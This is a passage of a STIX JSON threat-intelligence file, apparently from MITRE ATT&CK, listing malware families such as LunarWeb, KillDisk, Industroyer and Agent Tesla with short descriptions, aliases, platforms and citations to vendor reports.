Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"},{"url":"https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/","description":"ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016.","source_name":"ThreatConnect Anthem"}],"modified":"2020-03-20T02:22:13.185Z","name":"HTTPBrowser","description":"[HTTPBrowser](https://attack.mitre.org/software/S0070) is malware that has been used by several threat groups. (Citation: ThreatStream Evasion Analysis) (Citation: Dell TG-3390) It is believed to be of Chinese origin. (Citation: ThreatConnect Anthem)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-09-30T20:04:42.419Z","name":"Mis-Type","description":"[Mis-Type](https://attack.mitre.org/software/S0084) is a backdoor hybrid that was used in [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016) by 2012.(Citation: Cylance Dust Storm)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Mis-Type"],"type":"malware","id":"malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61","created":"2017-05-31T21:32:55.565Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0084","external_id":"S0084"},{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-16T14:42:02.739Z","name":"LunarWeb","description":"[LunarWeb](https://attack.mitre.org/software/S1141) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2020 including in a compromise of a European ministry of foreign affairs (MFA) together with [LunarLoader](https://attack.mitre.org/software/S1143) and [LunarMail](https://attack.mitre.org/software/S1142). [LunarWeb](https://attack.mitre.org/software/S1141) has only been observed deployed against servers and can use [Steganography](https://attack.mitre.org/techniques/T1001/002) to obfuscate command and control.(Citation: ESET Turla Lunar toolset May 2024)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Riku Katsuse, NEC Corporation","Sareena Karapoola, NEC Corporation India","Pooja Natarajan, NEC Corporation India"],"x_mitre_aliases":["LunarWeb"],"type":"malware","id":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","created":"2024-06-26T18:07:37.796Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1141","external_id":"S1141"},{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-18T20:40:59.749Z","name":"XCSSET","description":"[XCSSET](https://attack.mitre.org/software/S0658) is a macOS modular backdoor that targets Xcode application developers. [XCSSET](https://attack.mitre.org/software/S0658) was first observed in August 2020 and has been used to install a backdoor component, modify browser applications, conduct collection, and provide ransomware-like encryption capabilities.(Citation: trendmicro xcsset xcode project 2020)","x_mitre_platforms":["macOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["XCSSET","OSX.DubRobber"],"type":"malware","id":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","created":"2021-10-05T21:58:51.161Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0658","external_id":"S0658"},{"source_name":"OSX.DubRobber","description":"(Citation: malwarebyteslabs xcsset dubrobber)"},{"source_name":"XCSSET","description":"(Citation: trendmicro xcsset xcode project 2020)"},{"source_name":"trendmicro xcsset xcode project 2020","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021.","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf"},{"source_name":"malwarebyteslabs xcsset dubrobber","description":"Thomas Reed. (2020, April 21). OSX.DubRobber. Retrieved October 5, 2021.","url":"https://blog.malwarebytes.com/detections/osx-dubrobber/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-04T17:18:07.384Z","name":"Disco","description":"[Disco](https://attack.mitre.org/software/S1088) is a custom implant that has been used by [MoustachedBouncer](https://attack.mitre.org/groups/G1019) since at least 2020 including in campaigns using targeted malicious content injection for initial access and command and control.(Citation: MoustachedBouncer ESET August 2023)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["Disco"],"type":"malware","id":"malware--e1445afd-c359-45ed-8f27-626dc4d5e157","created":"2023-09-25T20:29:37.737Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1088","external_id":"S1088"},{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ryan Becwar"],"x_mitre_aliases":["Dipsind"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e170995d-4f61-4f17-b60e-04f9a06ee517","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0200","external_id":"S0200"},{"source_name":"Dipsind","description":"(Citation: Microsoft PLATINUM April 2016)"},{"url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","source_name":"Microsoft PLATINUM April 2016"}],"modified":"2020-03-30T15:30:14.126Z","name":"Dipsind","description":"[Dipsind](https://attack.mitre.org/software/S0200) is a malware family of backdoors that appear to be used exclusively by [PLATINUM](https://attack.mitre.org/groups/G0068). (Citation: Microsoft PLATINUM April 2016)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Octopus"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--e2031fd5-02c2-43d4-85e2-b64f474530c2","created":"2019-01-30T13:24:08.616Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"S0340","url":"https://attack.mitre.org/software/S0340"},{"source_name":"Octopus","description":"(Citation: Securelist Octopus Oct 2018)(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018)"},{"source_name":"ESET Nomadic Octopus 2018","url":"https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf","description":"Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."},{"source_name":"Securelist Octopus Oct 2018","url":"https://securelist.com/octopus-infested-seas-of-central-asia/88200/","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018."},{"source_name":"Security Affairs DustSquad Oct 2018","url":"https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html","description":"Paganini, P. (2018, October 16). Russia-linked APT group DustSquad targets diplomatic entities in Central Asia. Retrieved August 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Octopus](https://attack.mitre.org/software/S0340) is a Windows Trojan written in the Delphi programming language that has been used by [Nomadic Octopus](https://attack.mitre.org/groups/G0133) to target government organizations in Central Asia since at least 2014.(Citation: Securelist Octopus Oct 2018)(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018) ","modified":"2022-04-06T17:15:58.173Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Octopus","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-06T14:09:52.833Z","name":"KillDisk","description":"[KillDisk](https://attack.mitre.org/software/S0607) is a disk-wiping tool designed to overwrite files with random data to render the OS unbootable. It was first observed as a component of [BlackEnergy](https://attack.mitre.org/software/S0089) malware during cyber attacks against Ukraine in 2015. [KillDisk](https://attack.mitre.org/software/S0607) has since evolved into stand-alone malware used by a variety of threat actors against additional targets in Europe and Latin America; in 2016 a ransomware component was also incorporated into some [KillDisk](https://attack.mitre.org/software/S0607) variants.(Citation: KillDisk Ransomware)(Citation: ESEST Black Energy Jan 2016)(Citation: Trend Micro KillDisk 1)(Citation: Trend Micro KillDisk 2)","x_mitre_platforms":["Linux","Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["KillDisk","Win32/KillDisk.NBI","Win32/KillDisk.NBH","Win32/KillDisk.NBD","Win32/KillDisk.NBC","Win32/KillDisk.NBB"],"type":"malware","id":"malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6","created":"2021-01-20T18:05:07.059Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0607","external_id":"S0607"},{"source_name":"KillDisk Ransomware","description":"Catalin Cimpanu. (2016, December 29). KillDisk Disk-Wiping Malware Adds Ransomware Component. Retrieved January 12, 2021.","url":"https://www.bleepingcomputer.com/news/security/killdisk-disk-wiping-malware-adds-ransomware-component/"},{"source_name":"ESEST Black Energy Jan 2016","description":"Cherepanov, A.. (2016, January 3). BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry. Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/"},{"source_name":"Trend Micro KillDisk 1","description":"Fernando Merces, Byron Gelera, Martin Co. (2018, June 7). KillDisk Variant Hits Latin American Finance Industry. Retrieved January 12, 2021.","url":"https://www.trendmicro.com/en_us/research/18/f/new-killdisk-variant-hits-latin-american-financial-organizations-again.html"},{"source_name":"Trend Micro KillDisk 2","description":"Gilbert Sison, Rheniel Ramos, Jay Yaneza, Alfredo Oliveira. (2018, January 15). KillDisk Variant Hits Latin American Financial Groups. Retrieved January 12, 2021.","url":"https://www.trendmicro.com/en_us/research/18/a/new-killdisk-variant-hits-financial-organizations-in-latin-america.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-09-28T17:46:18.677Z","name":"AppleJeus","description":"[AppleJeus](https://attack.mitre.org/software/S0584) is a family of downloaders initially discovered in 2018 embedded within trojanized cryptocurrency applications. [AppleJeus](https://attack.mitre.org/software/S0584) has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032), targeting companies in the energy, finance, government, industry, technology, and telecommunications sectors, and several countries including the United States, United Kingdom, South Korea, Australia, Brazil, New Zealand, and Russia. [AppleJeus](https://attack.mitre.org/software/S0584) has been used to distribute the [FALLCHILL](https://attack.mitre.org/software/S0181) RAT.(Citation: CISA AppleJeus Feb 2021)","x_mitre_platforms":["Windows","macOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["AppleJeus"],"type":"malware","id":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","created":"2021-03-01T20:17:11.064Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0584","external_id":"S0584"},{"source_name":"AppleJeus","description":"(Citation: CISA AppleJeus Feb 2021)"},{"source_name":"CISA AppleJeus Feb 2021","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021.","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["SoreFang"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e33e4603-afab-402d-b2a1-248d435b5fe0","type":"malware","created":"2020-09-29T19:33:35.122Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0516","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0516"},{"source_name":"NCSC APT29 July 2020","url":"https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf","description":"National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."},{"source_name":"CISA SoreFang July 2016","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a","description":"CISA. (2020, July 16). MAR-10296782-1.v1 – SOREFANG. Retrieved September 29, 2020."}],"modified":"2020-10-06T16:10:42.422Z","name":"SoreFang","description":"[SoreFang](https://attack.mitre.org/software/S0516) is first stage downloader used by [APT29](https://attack.mitre.org/groups/G0016) for exfiltration and to load other malware.(Citation: NCSC APT29 July 2020)(Citation: CISA SoreFang July 2016)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:01:29.506Z","name":"STARWHALE","description":"[STARWHALE](https://attack.mitre.org/software/S1037) is Windows Script File (WSF) backdoor that has been used by [MuddyWater](https://attack.mitre.org/groups/G0069), possibly since at least November 2021; there is also a [STARWHALE](https://attack.mitre.org/software/S1037) variant written in Golang with similar capabilities. Security researchers have also noted the use of [STARWHALE](https://attack.mitre.org/software/S1037) by UNC3313, which may be associated with [MuddyWater](https://attack.mitre.org/groups/G0069).(Citation: Mandiant UNC3313 Feb 2022)(Citation: DHS CISA AA22-055A MuddyWater February 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["STARWHALE","CANOPY"],"type":"malware","id":"malware--e355fc84-6f3c-4888-8e0a-d7fa9c378532","created":"2022-08-18T15:00:32.571Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1037","external_id":"S1037"},{"source_name":"CANOPY","description":"(Citation: DHS CISA AA22-055A MuddyWater February 2022)"},{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"},{"source_name":"Mandiant UNC3313 Feb 2022","description":"Tomcik, R. et al. (2022, February 24). Left On Read: Telegram Malware Spotted in Latest Iranian Cyber Espionage Activity. Retrieved August 18, 2022.","url":"https://www.mandiant.com/resources/telegram-malware-iranian-espionage"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["MirageFox"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d","created":"2018-10-17T00:14:20.652Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"S0280","url":"https://attack.mitre.org/software/S0280"},{"source_name":"MirageFox","description":"(Citation: APT15 Intezer June 2018)"},{"source_name":"APT15 Intezer June 2018","url":"https://web.archive.org/web/20180615122133/https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/","description":"Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[MirageFox](https://attack.mitre.org/software/S0280) is a remote access tool used against Windows systems. It appears to be an upgraded version of a tool known as Mirage, which is a RAT believed to originate in 2012. (Citation: APT15 Intezer June 2018)","modified":"2022-07-22T18:52:32.764Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"MirageFox","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T16:06:34.700Z","name":"Industroyer","description":"[Industroyer](https://attack.mitre.org/software/S0604) is a sophisticated malware framework designed to cause an impact to the working processes of Industrial Control Systems (ICS), specifically components used in electrical substations.(Citation: ESET Industroyer) [Industroyer](https://attack.mitre.org/software/S0604) was used in the attacks on the Ukrainian power grid in December 2016.(Citation: Dragos Crashoverride 2017) This is the first publicly known malware specifically designed to target and impact operations in the electric grid.(Citation: Dragos Crashoverride 2018)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Dragos Threat Intelligence","Joe Slowik - Dragos"],"x_mitre_aliases":["Industroyer","CRASHOVERRIDE","Win32/Industroyer"],"type":"malware","id":"malware--e401d4fe-f0c9-44f0-98e6-f93487678808","created":"2021-01-04T20:42:21.997Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0604","external_id":"S0604"},{"source_name":"CRASHOVERRIDE","description":"(Citation: Dragos Crashoverride 2017)"},{"source_name":"Win32/Industroyer","description":"(Citation: ESET Industroyer)"},{"source_name":"ESET Industroyer","description":"Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf"},{"source_name":"Dragos Crashoverride 2017","description":"Dragos Inc.. (2017, June 13). CRASHOVERRIDE Analysis of the Threat to Electric Grid Operations. Retrieved December 18, 2020.","url":"https://dragos.com/blog/crashoverride/CrashOverride-01.pdf"},{"source_name":"Dragos Crashoverride 2018","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["DownPaper"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e48df773-7c95-4a4c-ba70-ea3d15900148","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0186","external_id":"S0186"},{"source_name":"DownPaper","description":"(Citation: ClearSky Charming Kitten Dec 2017)"},{"source_name":"ClearSky Charming Kitten Dec 2017","description":"ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"}],"modified":"2020-03-30T15:31:30.330Z","name":"DownPaper","description":"[DownPaper](https://attack.mitre.org/software/S0186) is a backdoor Trojan; its main functionality is to download and run second stage malware. (Citation: ClearSky Charming Kitten Dec 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Socksbot"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e494ad79-37ee-4cd0-866b-299c521d8b94","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0273","external_id":"S0273"},{"source_name":"Socksbot","description":"(Citation: TrendMicro Patchwork Dec 2017)"},{"url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","source_name":"TrendMicro Patchwork Dec 2017"}],"modified":"2020-03-30T18:14:59.190Z","name":"Socksbot","description":"[Socksbot](https://attack.mitre.org/software/S0273) is a backdoor that abuses Socket Secure (SOCKS) proxies. (Citation: TrendMicro Patchwork Dec 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-01-22T19:21:48.480Z","name":"Pcexter","description":"[Pcexter](https://attack.mitre.org/software/S1102) is an uploader that has been used by [ToddyCat](https://attack.mitre.org/groups/G1022) since at least 2023 to exfiltrate stolen files.(Citation: Kaspersky ToddyCat Check Logs October 2023)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["Pcexter"],"type":"malware","id":"malware--e4feffc2-53d1-45c9-904e-adb9faca0d15","created":"2024-01-22T19:21:29.473Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1102","external_id":"S1102"},{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["HIDEDRV"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4","type":"malware","created":"2017-05-31T21:33:17.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0135","external_id":"S0135"},{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.","source_name":"ESET Sednit Part 3"},{"source_name":"Sekoia HideDRV Oct 2016","description":"Rascagnères, P.. (2016, October 27). Rootkit analysis: Use case on HideDRV. Retrieved March 9, 2017.","url":"http://www.sekoia.fr/blog/wp-content/uploads/2016/10/Rootkit-analysis-Use-case-on-HIDEDRV-v1.6.pdf"}],"modified":"2020-03-30T16:47:08.223Z","name":"HIDEDRV","description":"[HIDEDRV](https://attack.mitre.org/software/S0135) is a rootkit used by [APT28](https://attack.mitre.org/groups/G0007). It has been deployed along with [Downdelph](https://attack.mitre.org/software/S0134) to execute and hide that malware. (Citation: ESET Sednit Part 3) (Citation: Sekoia HideDRV Oct 2016)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:44:33.881Z","name":"CozyCar","description":"[CozyCar](https://attack.mitre.org/software/S0046) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality. (Citation: F-Secure The Dukes)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["CozyCar","CozyDuke","CozyBear","Cozer","EuroAPT"],"type":"malware","id":"malware--e6ef745b-077f-42e1-a37d-29eecff9c754","created":"2017-05-31T21:32:35.022Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0046","external_id":"S0046"},{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-17T22:07:06.736Z","name":"Kevin","description":"[Kevin](https://attack.mitre.org/software/S1020) is a backdoor implant written in C++ that has been used by [HEXANE](https://attack.mitre.org/groups/G1001) since at least June 2020, including in operations against organizations in Tunisia.(Citation: Kaspersky Lyceum October 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["Kevin"],"type":"malware","id":"malware--e7863f5d-cb6a-4f81-8804-0a635eec160a","created":"2022-06-14T14:27:43.651Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1020","external_id":"S1020"},{"source_name":"Kaspersky Lyceum October 2021","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022.","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-11T20:13:18.738Z","name":"Agent Tesla","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) is a spyware Trojan written for the .NET framework that has been observed since at least 2014.(Citation: Fortinet Agent Tesla April 2018)(Citation: Bitdefender Agent Tesla April 2020)(Citation: Malwarebytes Agent Tesla April 